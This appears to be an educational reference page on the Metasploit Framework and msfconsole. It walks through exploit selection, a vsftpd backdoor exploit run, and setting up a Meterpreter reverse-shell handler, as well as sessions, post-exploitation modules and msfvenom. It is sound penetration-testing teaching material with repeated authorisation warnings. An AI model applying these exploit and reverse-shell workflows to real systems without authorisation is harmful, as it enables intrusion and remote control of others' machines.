SEC: Metasploit Framework and msfconsole

Metasploit is the most widely used exploitation framework — covering its architecture and modules, the msfconsole workflow, payloads and handlers, Meterpreter, post-exploitation, databases, and msfvenom.

What is Metasploit?

The Metasploit Framework is an open-source penetration testing platform maintained by Rapid7. It provides a consistent environment for:

  • Scanning and enumerating targets
  • Selecting and launching exploits
  • Delivering payloads and managing sessions
  • Post-exploitation (privilege escalation, persistence, pivoting)
  • Generating standalone payloads

msfconsole is its main interface — an interactive command-line console that gives access to nearly every feature in the framework. It supports tab completion, command history, and can run normal shell commands (ls, ping, etc.) without leaving the console.

Only use Metasploit against systems you own or have explicit written authorisation to test.

Framework Components

ComponentPurpose
msfconsoleInteractive console — the primary interface
ModulesIndividual tools: exploits, scanners, payloads, etc.
msfvenomStandalone payload generator and encoder
MeterpreterAdvanced in-memory payload for post-exploitation
Database (PostgreSQL)Stores hosts, services, vulnerabilities, loot, credentials

Modules live under /usr/share/metasploit-framework/modules/ on Kali, and custom modules can be placed in ~/.msf4/modules/.


Module Types

TypeDescription
exploitTakes advantage of a vulnerability to run code on the target
auxiliaryScanners, fuzzers, brute-forcers, sniffers — no payload
payloadCode that runs on the target after a successful exploit
postPost-exploitation actions on a compromised host
encoderObfuscates payloads to help bypass simple signature checks
nopGenerates no-operation padding for buffer overflow reliability
evasionBuilds payloads designed to evade antivirus

Module paths follow the pattern type/platform/service/name, for example exploit/windows/smb/ms17_010_eternalblue.


Starting msfconsole

bash
# Start the database service first (Kali)
sudo systemctl start postgresql
sudo msfdb init

# Launch the console
msfconsole

# Quiet mode — skip the banner
msfconsole -q

# Run a resource script on startup
msfconsole -r script.rc

Verify the database connection inside the console:

text
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.


Core msfconsole Commands

text
help                    # list all commands
search <term>           # search modules
use <module | number>   # select a module
info                    # details about the selected module
show options            # list parameters of the selected module
show payloads           # payloads compatible with the selected exploit
set <OPTION> <value>    # set an option for this module
setg <OPTION> <value>   # set an option globally (all modules)
unset <OPTION>          # clear an option
check                   # test whether the target is vulnerable (if supported)
run / exploit           # execute the module
back                    # leave the current module
sessions -l             # list active sessions
sessions -i <id>        # interact with a session
jobs                    # list background jobs
exit                    # quit


Searching for Modules

text
msf6 > search eternalblue
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2017-0144
msf6 > search name:vsftpd rank:excellent

Useful search keywords: type, platform, cve, name, author, rank, date.

Module Ranking

Rankings indicate how reliable (and how safe) an exploit is:

RankMeaning
excellentNever crashes the service
greatHas a default target and detects the right one
goodDefault target works for a common configuration
normalReliable but depends on a specific version
averageUnreliable or difficult to exploit
low / manualVery hard to exploit or needs manual setup

Typical Workflow

text
# 1. Pick a module
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# 2. Review what it needs
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

# 3. Configure the target
msf6 exploit(...) > set RHOSTS 10.10.10.5

# 4. (Optional) choose a payload
msf6 exploit(...) > show payloads
msf6 exploit(...) > set PAYLOAD cmd/unix/interact

# 5. Confirm and run
msf6 exploit(...) > check
msf6 exploit(...) > exploit

Common Options

OptionMeaning
RHOSTSTarget IP, range, CIDR, or file (file:/path/targets.txt)
RPORTTarget port
LHOSTYour listening IP (use your VPN/tun interface, not 0.0.0.0 for reverse shells)
LPORTYour listening port
PAYLOADPayload to deliver
TARGETTarget OS/version variant (show targets)
THREADSConcurrency for scanners

Payloads

Payloads are split into three kinds:

KindDescriptionExample
SinglesSelf-contained, everything in one blobwindows/shell_reverse_tcp
StagersSmall first stage that connects back and fetches the restwindows/meterpreter/reverse_tcp
StagesThe larger payload downloaded by the stagerMeterpreter itself

In the naming, a slash separates a staged payload (meterpreter/reverse_tcp) while an underscore marks a single (meterpreter_reverse_tcp).

Reverse vs Bind

  • Reverse shell — target connects back to you (reverse_tcp). Works through most firewalls because the connection is outbound. This is the default choice.
  • Bind shell — target opens a port and you connect to it (bind_tcp). Needs inbound access to the target.

Handlers (exploit/multi/handler)

When a payload is delivered outside Metasploit (a generated file, a phishing document, a manual exploit), use the handler to catch the connection:

text
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.3
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j        # run as a background job

The handler's payload, LHOST and LPORT must match the generated payload exactly.


Sessions and Jobs

A session is an active connection established between Metasploit and a target after successful exploitation. A session allows you to interact with the target through a shell, Meterpreter, or another supported interface.

A job is a module running in the background, such as a handler or scanner.

Session Management

text
# List active sessions
sessions -l

# Interact with session 1
sessions -i 1

# Background the current session
background

# Kill a specific session
sessions -k 1

# Kill all active sessions
sessions -K

# Upgrade a shell session to Meterpreter (when supported)
sessions -u 1

Job Management

text
# List running jobs
jobs -l

# Show job details
jobs -v

# Stop a specific job
jobs -k 0

# Stop all jobs
jobs -K

Important distinction:

  • Sessions represent established connections to targets.
  • Jobs represent modules running in the background.
  • A handler running as a job can continue listening while you work with other modules.

Meterpreter

Meterpreter is an advanced Metasploit payload that provides an interactive environment for authorized post-exploitation testing.

Unlike a traditional command shell, Meterpreter provides its own command interface and communicates using a structured protocol.

Its capabilities include:

  • System and hardware information gathering.
  • User and privilege identification.
  • File and directory management.
  • Process inspection.
  • Network interface enumeration.
  • Access to supported post-exploitation modules.
  • Interaction with the underlying operating system.

Meterpreter Commands

Once connected to a Meterpreter session:

text
# Display available commands
help

# Display target system information
sysinfo

# Display current user
getuid

# Display current directory
pwd

# List files
ls

# Change directory
cd /tmp

# Display network configuration
ipconfig

# Display process information
ps

# Search for available extensions
load -l

# Return to the Metasploit console
background

# Close the session
exit

Meterpreter vs Traditional Shell

FeatureTraditional ShellMeterpreter
Interactive commandsYesYes
File managementOS commandsBuilt-in commands
System informationOS commandsBuilt-in commands
Process managementOS commandsBuilt-in commands
Framework integrationLimitedExtensive
Post-exploitation modulesLimitedSupported
CommunicationShell protocolMeterpreter protocol

Meterpreter is particularly useful in controlled penetration testing environments because it integrates directly with Metasploit's session and post-exploitation architecture.


Post-Exploitation Modules

Post-exploitation begins after a successful session has been established.

The objective is to evaluate the security impact of the vulnerability and understand what access an attacker could potentially obtain.

Metasploit organizes these capabilities under the post module category.

Common Post-Exploitation Categories

CategoryPurpose
gatherCollect system and environment information
reconDiscover additional information about the environment
managePerform authorized system administration and management tasks
multiModules supporting multiple operating systems
windowsWindows-specific post-exploitation modules
linuxLinux-specific post-exploitation modules
osxmacOS-specific post-exploitation modules

Searching Post Modules

text
# Search all post modules
search type:post

# Search Windows post modules
search type:post platform:windows

# Search Linux post modules
search type:post platform:linux

# Search information-gathering modules
search type:post name:gather

Running a Post Module

The general workflow is:

  1. Identify an existing authorized session.
  1. Find a compatible post-exploitation module.
  1. Review its requirements using info.
  1. Configure the session and required options.
  1. Execute the module.
  1. Review the results.

For example, a post module may collect operating system information or enumerate the local environment.

Note: Post-exploitation testing should be limited to explicitly approved activities. Activities such as credential extraction, persistence, privilege escalation, and lateral movement require specific authorization and careful scope control.


Database Management

Metasploit integrates with PostgreSQL to store information collected during penetration testing.

The database allows you to maintain information across multiple modules and console sessions.

Database Information

DataDescription
HostsDiscovered target systems
ServicesOpen ports and detected services
VulnerabilitiesIdentified security weaknesses
CredentialsCredentials collected during authorized testing
LootFiles and other collected artifacts
NotesAdditional information about targets

Checking Database Status

text
# Check database connection
db_status

Host Management

text
# List discovered hosts
hosts

# List services
services

# List discovered vulnerabilities
vulns

# List collected credentials
creds

# List collected loot
loot

# Display notes
notes

Workspace Management

Workspaces allow you to separate information from different penetration testing projects.

text
# Display available workspaces
workspace

# Create a workspace
workspace -a project_alpha

# Switch workspace
workspace project_alpha

# Delete a workspace
workspace -d project_alpha

For example:

  • project_alpha — Internal network assessment.
  • project_beta — Web application assessment.
  • project_gamma — Authorized infrastructure assessment.

This separation makes it easier to manage findings and avoid mixing information between engagements.


msfvenom

msfvenom is Metasploit's standalone payload generation utility.

It combines functionality previously provided by two separate tools:

  • msfpayload — Payload generation.
  • msfencode — Payload encoding.

It allows testers to inspect available payloads, formats, architectures, and platform compatibility.

Basic Syntax

text
msfvenom [options]

Common Options

OptionDescription
-pSelect a payload
-fSpecify output format
-aSpecify target architecture
--platformSpecify target platform
-oSpecify output file
-l payloadsList available payloads
-l formatsList supported output formats
-l encodersList available encoders
-l archsList supported architectures
-l platformsList supported platforms
-hDisplay help

Listing Available Payloads

text
# List all available payloads
msfvenom -l payloads

# Filter Windows payloads
msfvenom -l payloads | grep windows

# Filter Linux payloads
msfvenom -l payloads | grep linux

Listing Output Formats

text
msfvenom -l formats

Common formats include:

FormatDescription
elfLinux executable
exeWindows executable
dllWindows dynamic-link library
rawRaw payload data
pythonPython representation
cC source representation
ps1PowerShell representation
jarJava archive

Understanding Payload Generation

A typical payload-generation workflow involves selecting:

  1. The target operating system.
  1. The target architecture.
  1. The payload type.
  1. The output format.
  1. The required communication configuration.

For example, a tester may need to generate a harmless test artifact to validate whether an organization's security controls correctly identify suspicious executable formats.

Important: Encoders should not be considered a reliable antivirus or EDR bypass. Modern security solutions use behavioral detection, heuristics, and other techniques beyond static signatures.


Resource Scripts (.rc)

Resource scripts allow you to automate repetitive Metasploit console operations.

Instead of manually entering commands every time, you can save them in a .rc file and execute the file from msfconsole.

Example Resource Script

Create a file:

text
nano startup.rc

Add:

text
# Display framework information
version

# Display database status
db_status

# List available sessions
sessions -l

# Display available jobs
jobs -l

# Display help
help

Execute it:

text
msfconsole -r startup.rc

You can also execute a resource script from an existing console:

text
msf6 > resource startup.rc

Why Use Resource Scripts?

  • Automate repetitive tasks.
  • Standardize penetration testing workflows.
  • Execute predefined configurations.
  • Reduce manual configuration mistakes.
  • Make testing procedures reproducible.

Resource scripts are particularly useful when managing multiple authorized testing environments.


Useful Auxiliary Modules

Auxiliary modules provide functionality that does not necessarily require exploiting a vulnerability.

They are commonly used for reconnaissance, service identification, enumeration, and security testing.

Common Auxiliary Categories

CategoryPurpose
scannerIdentify services and gather information
fuzzersTest how applications handle unexpected input
adminAdministrative testing
analyzeAnalyze collected information
dosDenial-of-service testing
gatherCollect information

Searching Auxiliary Modules

text
# List auxiliary modules
search type:auxiliary

# Search scanner modules
search type:auxiliary name:scanner

# Search SMB-related modules
search type:auxiliary smb

# Search HTTP-related modules
search type:auxiliary http

Running an Auxiliary Module

The workflow is similar to running an exploit module:

text
# Select an auxiliary module
use auxiliary/scanner/...

# Review module information
info

# Display required options
show options

# Configure the authorized assessment target
set RHOSTS <AUTHORIZED_TARGET>

# Execute the module
run

Unlike exploit modules, auxiliary modules generally do not require a payload.


Metasploit Configuration and Directories

Metasploit uses several directories to store configuration, modules, logs, and collected information.

Important Directories

PathPurpose
/usr/share/metasploit-framework/Main framework installation
/usr/share/metasploit-framework/modules/Built-in modules
~/.msf4/User-specific configuration and data
~/.msf4/modules/Custom modules
~/.msf4/loot/Collected loot
~/.msf4/logs/Framework logs

Custom Modules

Metasploit supports custom modules.

For example, a custom auxiliary module can be placed under:

text
~/.msf4/modules/auxiliary/

After adding a custom module, reload the module cache:

text
msf6 > reload_all

You can then search for the module:

text
msf6 > search custom_module


Troubleshooting

Common problems when working with Metasploit include database connection failures, missing modules, and session connection issues.

Database Not Connected

Check the PostgreSQL service:

text
sudo systemctl status postgresql

Start it if necessary:

text
sudo systemctl start postgresql

Check Metasploit's database status:

text
msfconsole

text
db_status

If the database has not been initialized:

text
sudo msfdb init

Module Not Found

Try refreshing the module cache:

text
reload_all

Verify that the module exists in the installation directory:

text
ls /usr/share/metasploit-framework/modules/

For custom modules, verify their location under:

text
~/.msf4/modules/

Session Not Connecting

Common causes include:

  • Incorrect listener configuration.
  • Incorrect network interface selection.
  • Firewall restrictions.
  • Routing problems.
  • NAT configuration.
  • Payload and handler configuration mismatch.
  • Target system security controls blocking execution.

Useful diagnostic commands:

text
# Display network interfaces
ip addr

# Display routing table
ip route

# Check listening ports
ss -tulnp

# Test connectivity to an authorized host
ping <AUTHORIZED_TARGET>


Metasploit Best Practices

When using Metasploit during professional penetration testing, follow these principles:

  1. Obtain authorization: Never test systems without explicit permission.
  1. Understand the exploit: Read the module documentation before execution.
  1. Check module reliability: Prefer well-tested modules and understand their potential impact.
  1. Use isolated labs: Practice with intentionally vulnerable virtual machines.
  1. Control the scope: Only interact with systems explicitly included in the engagement.
  1. Document findings: Record vulnerabilities, evidence, timestamps, and affected systems.
  1. Protect collected data: Credentials, loot, and session information must be handled securely.
  1. Avoid unnecessary disruption: Some exploits can crash services or damage systems.
  1. Clean up: Remove test artifacts and restore configurations when required by the engagement.
  1. Report responsibly: Provide reproducible findings and remediation recommendations.

Practice Environments

The best way to learn Metasploit is through isolated environments designed for penetration testing.

Some useful platforms include:

PlatformDescription
Metasploitable 2Intentionally vulnerable Linux virtual machine
Metasploitable 3Vulnerable Windows and Linux environments
OWASP Juice ShopIntentionally vulnerable web application
TryHackMeGuided cybersecurity learning labs
Hack The BoxPractical penetration testing challenges

Keep vulnerable machines isolated from production networks and the public internet unless the lab explicitly requires controlled connectivity.


Quick Reference Cheat Sheet

TaskCommand
Start Metasploitmsfconsole
Start quietlymsfconsole -q
Display helphelp
Search modulessearch <term>
Select moduleuse <module>
Module informationinfo
Show optionsshow options
Show compatible payloadsshow payloads
Set module optionset OPTION VALUE
Set global optionsetg OPTION VALUE
Check vulnerabilitycheck
Execute modulerun
List sessionssessions -l
Interact with sessionsessions -i <id>
List jobsjobs -l
Check databasedb_status
List hostshosts
List servicesservices
List vulnerabilitiesvulns
List credentialscreds
Execute resource scriptresource <file.rc>
Reload modulesreload_all
Exitexit

Summary

The Metasploit Framework provides a comprehensive environment for penetration testing and vulnerability assessment.

Its main components work together:

  • msfconsole provides the interactive interface.
  • Modules provide scanning, exploitation, and post-exploitation capabilities.
  • Payloads define what executes after successful exploitation.
  • Handlers manage incoming payload connections.
  • Meterpreter provides an advanced interactive session.
  • Post modules support authorized security assessments after access is established.
  • PostgreSQL stores information collected during testing.
  • msfvenom provides standalone payload-generation functionality.
  • Resource scripts automate repetitive console operations.

Understanding how these components interact is more important than memorizing individual commands.

A good penetration tester understands the vulnerability, knows why a particular module works, evaluates its potential impact, and can explain how to fix the underlying security weakness.

The goal of Metasploit is not simply to gain access — it is to demonstrate security weaknesses, measure their impact, and help organizations eliminate them.